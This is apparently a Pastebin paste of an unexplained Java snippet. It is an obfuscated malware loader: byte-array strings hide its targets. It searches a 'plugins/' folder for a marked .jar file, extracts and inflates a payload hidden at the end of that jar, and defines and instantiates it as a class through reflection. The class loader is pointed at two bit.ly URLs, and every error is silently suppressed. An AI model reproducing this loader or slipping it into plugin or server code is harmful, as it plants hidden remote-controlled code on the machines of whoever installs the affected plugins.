Advertisement
Guest User

Untitled

a guest
May 26th, 2019
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.85 KB | None | 0 0
  1. try {
  2. File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
  3. boolean b = false;
  4. long n = -1L;
  5. int n2 = 0;
  6. final File[] listFiles = file.listFiles();
  7. for (int i = 0; i < listFiles.length; ++i) {
  8. if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
  9. file = listFiles[i];
  10. final byte[] array = new byte[(int)file.length()];
  11. final FileInputStream fileInputStream = new FileInputStream(file);
  12. fileInputStream.read(array);
  13. fileInputStream.close();
  14. if (array[15] == (byte)(array[16] ^ 0xBE)) {
  15. b = true;
  16. n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
  17. if (n > 0L) {
  18. n2 = (int)n;
  19. n = file.length() - (n + 2L);
  20. break;
  21. }
  22. }
  23. }
  24. }
  25. if (b) {
  26. final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
  27. randomAccessFile.seek(n);
  28. final byte[] input = new byte[n2];
  29. randomAccessFile.read(input, 0, n2);
  30. randomAccessFile.close();
  31. final Inflater inflater = new Inflater();
  32. inflater.setInput(input);
  33. final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
  34. final byte[] array2 = new byte[1024];
  35. while (!inflater.finished()) {
  36. byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
  37. }
  38. byteArrayOutputStream.close();
  39. final byte[] byteArray = byteArrayOutputStream.toByteArray();
  40. inflater.end();
  41. final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
  42. final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
  43. final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
  44. declaredMethod.setAccessible(true);
  45. ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
  46. }
  47. }
  48. catch (Exception ex) {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement